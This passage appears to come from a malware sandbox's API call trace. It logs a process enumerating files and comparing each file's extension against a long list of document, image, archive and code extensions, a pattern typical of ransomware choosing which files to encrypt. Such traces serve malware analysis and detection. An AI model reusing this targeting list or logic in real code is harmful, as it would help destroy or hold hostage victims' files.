lstrlenW (lpString="index.html") returned 10 [0182.797] lstrlenW (lpString=".1cd") returned 4 [0182.797] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0182.798] lstrlenW (lpString=".3ds") returned 4 [0182.798] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0182.798] lstrlenW (lpString=".3fr") returned 4 [0182.798] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0182.798] lstrlenW (lpString=".3g2") returned 4 [0182.798] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0182.798] lstrlenW (lpString=".3gp") returned 4 [0182.798] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0182.798] lstrlenW (lpString=".7z") returned 3 [0182.798] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0182.798] lstrlenW (lpString=".accda") returned 6 [0182.798] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0182.798] lstrlenW (lpString=".accdb") returned 6 [0182.798] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0182.798] lstrlenW (lpString=".accdc") returned 6 [0182.798] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0182.798] lstrlenW (lpString=".accde") returned 6 [0182.798] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0182.798] lstrlenW (lpString=".accdt") returned 6 [0182.798] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0182.798] lstrlenW (lpString=".accdw") returned 6 [0182.798] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0182.798] lstrlenW (lpString=".adb") returned 4 [0182.799] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0182.799] lstrlenW (lpString=".adp") returned 4 [0182.799] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0182.799] lstrlenW (lpString=".ai") returned 3 [0182.799] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0182.799] lstrlenW (lpString=".ai3") returned 4 [0182.799] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0182.799] lstrlenW (lpString=".ai4") returned 4 [0182.831] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0182.831] lstrlenW (lpString=".ai5") returned 4 [0182.831] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0182.831] lstrlenW (lpString=".ai6") returned 4 [0182.831] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0182.831] lstrlenW (lpString=".ai7") returned 4 [0182.831] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0182.831] lstrlenW (lpString=".ai8") returned 4 [0182.831] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0182.831] lstrlenW (lpString=".anim") returned 5 [0182.831] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0182.831] lstrlenW (lpString=".arw") returned 4 [0182.831] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0182.831] lstrlenW (lpString=".as") returned 3 [0182.831] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0182.831] lstrlenW (lpString=".asa") returned 4 [0182.831] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0182.831] lstrlenW (lpString=".asc") returned 4 [0182.831] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0182.831] lstrlenW (lpString=".ascx") returned 5 [0182.831] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0182.831] lstrlenW (lpString=".asm") returned 4 [0182.831] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0182.831] lstrlenW (lpString=".asmx") returned 5 [0182.832] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0182.832] lstrlenW (lpString=".asp") returned 4 [0182.832] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0182.832] lstrlenW (lpString=".aspx") returned 5 [0182.832] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0182.832] lstrlenW (lpString=".asr") returned 4 [0182.832] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0182.832] lstrlenW (lpString=".asx") returned 4 [0182.832] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0182.832] lstrlenW (lpString=".avi") returned 4 [0182.832] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0182.832] lstrlenW (lpString=".avs") returned 4 [0182.832] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0182.832] lstrlenW (lpString=".backup") returned 7 [0182.832] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0182.832] lstrlenW (lpString=".bak") returned 4 [0182.832] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0182.832] lstrlenW (lpString=".bay") returned 4 [0182.832] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0182.832] lstrlenW (lpString=".bd") returned 3 [0182.832] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0182.832] lstrlenW (lpString=".bin") returned 4 [0182.832] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0182.832] lstrlenW (lpString=".bmp") returned 4 [0182.832] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0182.832] lstrlenW (lpString=".bz2") returned 4 [0182.832] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0182.832] lstrlenW (lpString=".c") returned 2 [0182.832] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.832] lstrlenW (lpString=".cdr") returned 4 [0182.832] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0182.833] lstrlenW (lpString=".cer") returned 4 [0182.833] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0182.833] lstrlenW (lpString=".cf") returned 3 [0182.833] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0182.833] lstrlenW (lpString=".cfc") returned 4 [0182.833] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0182.833] lstrlenW (lpString=".cfm") returned 4 [0182.833] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0182.833] lstrlenW (lpString=".cfml") returned 5 [0182.833] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0182.833] lstrlenW (lpString=".cfu") returned 4 [0182.833] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0182.833] lstrlenW (lpString=".chm") returned 4 [0182.833] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0182.833] lstrlenW (lpString=".cin") returned 4 [0182.833] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0182.833] lstrlenW (lpString=".class") returned 6 [0182.833] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0182.833] lstrlenW (lpString=".clx") returned 4 [0182.833] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0182.833] lstrlenW (lpString=".config") returned 7 [0182.833] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0182.833] lstrlenW (lpString=".cpp") returned 4 [0182.833] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0182.833] lstrlenW (lpString=".cr2") returned 4 [0182.833] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0182.833] lstrlenW (lpString=".crt") returned 4 [0182.833] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0182.833] lstrlenW (lpString=".crw") returned 4 [0182.833] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0182.833] lstrlenW (lpString=".cs") returned 3 [0182.833] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0182.834] lstrlenW (lpString=".css") returned 4 [0182.834] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0182.834] lstrlenW (lpString=".csv") returned 4 [0182.834] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0182.834] lstrlenW (lpString=".cub") returned 4 [0182.834] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0182.834] lstrlenW (lpString=".dae") returned 4 [0182.834] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0182.834] lstrlenW (lpString=".dat") returned 4 [0182.834] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0182.834] lstrlenW (lpString=".db") returned 3 [0182.834] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0182.834] lstrlenW (lpString=".dbf") returned 4 [0182.834] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0182.834] lstrlenW (lpString=".dbx") returned 4 [0182.834] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0182.834] lstrlenW (lpString=".dc3") returned 4 [0182.834] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0182.834] lstrlenW (lpString=".dcm") returned 4 [0182.834] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0182.834] lstrlenW (lpString=".dcr") returned 4 [0182.834] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0182.834] lstrlenW (lpString=".der") returned 4 [0182.834] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0182.834] lstrlenW (lpString=".dib") returned 4 [0182.834] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0182.834] lstrlenW (lpString=".dic") returned 4 [0182.835] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0182.835] lstrlenW (lpString=".dif") returned 4 [0182.835] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0182.835] lstrlenW (lpString=".divx") returned 5 [0182.835] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0182.835] lstrlenW (lpString=".djvu") returned 5 [0182.835] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0182.835] lstrlenW (lpString=".dng") returned 4 [0182.835] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0182.835] lstrlenW (lpString=".doc") returned 4 [0182.835] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0182.835] lstrlenW (lpString=".docm") returned 5 [0182.835] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0182.835] lstrlenW (lpString=".docx") returned 5 [0182.835] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0182.835] lstrlenW (lpString=".dot") returned 4 [0182.835] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0182.835] lstrlenW (lpString=".dotm") returned 5 [0182.835] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0182.835] lstrlenW (lpString=".dotx") returned 5 [0182.835] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0182.835] lstrlenW (lpString=".dpx") returned 4 [0182.835] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0182.835] lstrlenW (lpString=".dqy") returned 4 [0182.835] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0182.835] lstrlenW (lpString=".dsn") returned 4 [0182.835] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0182.835] lstrlenW (lpString=".dt") returned 3 [0182.835] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0182.835] lstrlenW (lpString=".dtd") returned 4 [0182.835] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0182.835] lstrlenW (lpString=".dwg") returned 4 [0182.835] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0182.836] lstrlenW (lpString=".dwt") returned 4 [0182.836] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0182.836] lstrlenW (lpString=".dx") returned 3 [0182.836] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0182.836] lstrlenW (lpString=".dxf") returned 4 [0182.836] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0182.836] lstrlenW (lpString=".edml") returned 5 [0182.836] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0182.836] lstrlenW (lpString=".efd") returned 4 [0182.836] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0182.836] lstrlenW (lpString=".elf") returned 4 [0182.836] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0182.836] lstrlenW (lpString=".emf") returned 4 [0182.836] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0182.836] lstrlenW (lpString=".emz") returned 4 [0182.836] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0182.836] lstrlenW (lpString=".epf") returned 4 [0182.836] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0182.836] lstrlenW (lpString=".eps") returned 4 [0182.836] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0182.836] lstrlenW (lpString=".epsf") returned 5 [0182.836] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0182.836] lstrlenW (lpString=".epsp") returned 5 [0182.836] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0182.836] lstrlenW (lpString=".erf") returned 4 [0182.836] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0182.836] lstrlenW (lpString=".exr") returned 4 [0182.836] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0182.836] lstrlenW (lpString=".f4v") returned 4 [0182.837] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0182.837] lstrlenW (lpString=".fido") returned 5 [0182.837] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0182.837] lstrlenW (lpString=".flm") returned 4 [0182.837] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0182.837] lstrlenW (lpString=".flv") returned 4 [0182.837] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0182.837] lstrlenW (lpString=".frm") returned 4 [0182.837] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0182.837] lstrlenW (lpString=".fxg") returned 4 [0182.837] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0182.837] lstrlenW (lpString=".geo") returned 4 [0182.837] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0182.837] lstrlenW (lpString=".gif") returned 4 [0182.837] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0182.837] lstrlenW (lpString=".grs") returned 4 [0182.837] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0182.837] lstrlenW (lpString=".gz") returned 3 [0182.837] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0182.837] lstrlenW (lpString=".h") returned 2 [0182.837] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.837] lstrlenW (lpString=".hdr") returned 4 [0182.837] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0182.837] lstrlenW (lpString=".hpp") returned 4 [0182.837] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0182.837] lstrlenW (lpString=".hta") returned 4 [0182.837] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0182.837] lstrlenW (lpString=".htc") returned 4 [0182.837] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0182.837] lstrlenW (lpString=".htm") returned 4 [0182.837] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0182.837] lstrlenW (lpString=".html") returned 5 [0182.838] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0182.838] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0182.838] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0182.838] lstrlenW (lpString=".1cd") returned 4 [0182.838] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.838] lstrlenW (lpString=".3ds") returned 4 [0182.838] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0182.838] lstrlenW (lpString=".3fr") returned 4 [0182.838] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0182.838] lstrlenW (lpString=".3g2") returned 4 [0182.838] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0182.838] lstrlenW (lpString=".3gp") returned 4 [0182.838] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0182.838] lstrlenW (lpString=".7z") returned 3 [0182.838] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.838] lstrlenW (lpString=".accda") returned 6 [0182.838] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0182.838] lstrlenW (lpString=".accdb") returned 6 [0182.838] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0182.838] lstrlenW (lpString=".accdc") returned 6 [0182.838] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0182.838] lstrlenW (lpString=".accde") returned 6 [0182.838] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0182.838] lstrlenW (lpString=".accdt") returned 6 [0182.838] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0182.838] lstrlenW (lpString=".accdw") returned 6 [0182.838] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0182.838] lstrlenW (lpString=".adb") returned 4 [0182.839] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0182.839] lstrlenW (lpString=".adp") returned 4 [0182.839] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0182.839] lstrlenW (lpString=".ai") returned 3 [0182.839] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0182.839] lstrlenW (lpString=".ai3") returned 4 [0182.839] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0182.839] lstrlenW (lpString=".ai4") returned 4 [0182.839] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0182.839] lstrlenW (lpString=".ai5") returned 4 [0182.839] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0182.839] lstrlenW (lpString=".ai6") returned 4 [0182.839] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0182.839] lstrlenW (lpString=".ai7") returned 4 [0182.839] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0182.839] lstrlenW (lpString=".ai8") returned 4 [0182.839] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0182.839] lstrlenW (lpString=".anim") returned 5 [0182.839] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0182.839] lstrlenW (lpString=".arw") returned 4 [0182.839] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0182.839] lstrlenW (lpString=".as") returned 3 [0182.839] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0182.839] lstrlenW (lpString=".asa") returned 4 [0182.839] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0182.840] lstrlenW (lpString=".asc") returned 4 [0182.840] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0182.840] lstrlenW (lpString=".ascx") returned 5 [0182.840] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0182.840] lstrlenW (lpString=".asm") returned 4 [0182.840] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0182.840] lstrlenW (lpString=".asmx") returned 5 [0182.840] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0182.840] lstrlenW (lpString=".asp") returned 4 [0182.840] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0182.840] lstrlenW (lpString=".aspx") returned 5 [0182.840] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0182.840] lstrlenW (lpString=".asr") returned 4 [0182.840] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0182.840] lstrlenW (lpString=".asx") returned 4 [0182.840] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0182.840] lstrlenW (lpString=".avi") returned 4 [0182.840] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0182.840] lstrlenW (lpString=".avs") returned 4 [0182.840] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0182.840] lstrlenW (lpString=".backup") returned 7 [0182.840] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0182.840] lstrlenW (lpString=".bak") returned 4 [0182.840] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0182.840] lstrlenW (lpString=".bay") returned 4 [0182.840] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0182.840] lstrlenW (lpString=".bd") returned 3 [0182.840] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0182.840] lstrlenW (lpString=".bin") returned 4 [0182.840] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0182.840] lstrlenW (lpString=".bmp") returned 4 [0182.840] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0182.840] lstrlenW (lpString=".bz2") returned 4 [0182.840] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.841] lstrlenW (lpString=".c") returned 2 [0182.841] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.841] lstrlenW (lpString=".cdr") returned 4 [0182.841] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0182.841] lstrlenW (lpString=".cer") returned 4 [0182.841] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0182.841] lstrlenW (lpString=".cf") returned 3 [0182.841] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0182.841] lstrlenW (lpString=".cfc") returned 4 [0182.841] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0182.841] lstrlenW (lpString=".cfm") returned 4 [0182.841] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0182.841] lstrlenW (lpString=".cfml") returned 5 [0182.841] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0182.841] lstrlenW (lpString=".cfu") returned 4 [0182.841] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0182.841] lstrlenW (lpString=".chm") returned 4 [0182.841] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0182.841] lstrlenW (lpString=".cin") returned 4 [0182.841] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0182.841] lstrlenW (lpString=".class") returned 6 [0182.841] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0182.841] lstrlenW (lpString=".clx") returned 4 [0182.841] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0182.841] lstrlenW (lpString=".config") returned 7 [0182.841] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0182.841] lstrlenW (lpString=".cpp") returned 4 [0182.841] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0182.841] lstrlenW (lpString=".cr2") returned 4 [0182.841] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0182.841] lstrlenW (lpString=".crt") returned 4 [0182.841] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0182.841] lstrlenW (lpString=".crw") returned 4 [0182.841] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0182.841] lstrlenW (lpString=".cs") returned 3 [0182.842] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0182.842] lstrlenW (lpString=".css") returned 4 [0182.842] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".csv") returned 4 [0182.842] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".cub") returned 4 [0182.842] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".dae") returned 4 [0182.842] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".dat") returned 4 [0182.842] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".db") returned 3 [0182.842] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0182.842] lstrlenW (lpString=".dbf") returned 4 [0182.842] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".dbx") returned 4 [0182.842] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".dc3") returned 4 [0182.842] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".dcm") returned 4 [0182.842] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".dcr") returned 4 [0182.842] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".der") returned 4 [0182.842] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".dib") returned 4 [0182.842] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".dic") returned 4 [0182.842] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".dif") returned 4 [0182.842] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".divx") returned 5 [0182.842] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0182.842] lstrlenW (lpString=".djvu") returned 5 [0182.842] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0182.842] lstrlenW (lpString=".dng") returned 4 [0182.842] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0182.842] lstrlenW (lpString=".doc") returned 4 [0182.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.843] lstrlenW (lpString=".docm") returned 5 [0182.843] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0182.843] lstrlenW (lpString=".docx") returned 5 [0182.843] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0182.843] lstrlenW (lpString=".dot") returned 4 [0182.843] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0182.843] lstrlenW (lpString=".dotm") returned 5 [0182.843] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0182.843] lstrlenW (lpString=".dotx") returned 5 [0182.843] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0182.843] lstrlenW (lpString=".dpx") returned 4 [0182.843] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0182.843] lstrlenW (lpString=".dqy") returned 4 [0182.843] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0182.843] lstrlenW (lpString=".dsn") returned 4 [0182.843] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0182.843] lstrlenW (lpString=".dt") returned 3 [0182.843] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0182.843] lstrlenW (lpString=".dtd") returned 4 [0182.843] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0182.843] lstrlenW (lpString=".dwg") returned 4 [0182.843] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0182.843] lstrlenW (lpString=".dwt") returned 4 [0182.843] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0182.843] lstrlenW (lpString=".dx") returned 3 [0182.843] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0182.843] lstrlenW (lpString=".dxf") returned 4 [0182.843] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0182.843] lstrlenW (lpString=".edml") returned 5 [0182.843] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0182.844] lstrlenW (lpString=".efd") returned 4 [0182.844] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0182.844] lstrlenW (lpString=".elf") returned 4 [0182.844] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0182.844] lstrlenW (lpString=".emf") returned 4 [0182.844] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0182.844] lstrlenW (lpString=".emz") returned 4 [0182.844] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0182.844] lstrlenW (lpString=".epf") returned 4 [0182.844] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0182.844] lstrlenW (lpString=".eps") returned 4 [0182.844] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0182.844] lstrlenW (lpString=".epsf") returned 5 [0182.844] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0182.844] lstrlenW (lpString=".epsp") returned 5 [0182.844] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0182.844] lstrlenW (lpString=".erf") returned 4 [0182.844] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0182.844] lstrlenW (lpString=".exr") returned 4 [0182.844] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0182.844] lstrlenW (lpString=".f4v") returned 4 [0182.844] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0182.844] lstrlenW (lpString=".fido") returned 5 [0182.844] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0182.844] lstrlenW (lpString=".flm") returned 4 [0182.844] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0182.844] lstrlenW (lpString=".flv") returned 4 [0182.844] lstrcmpiW 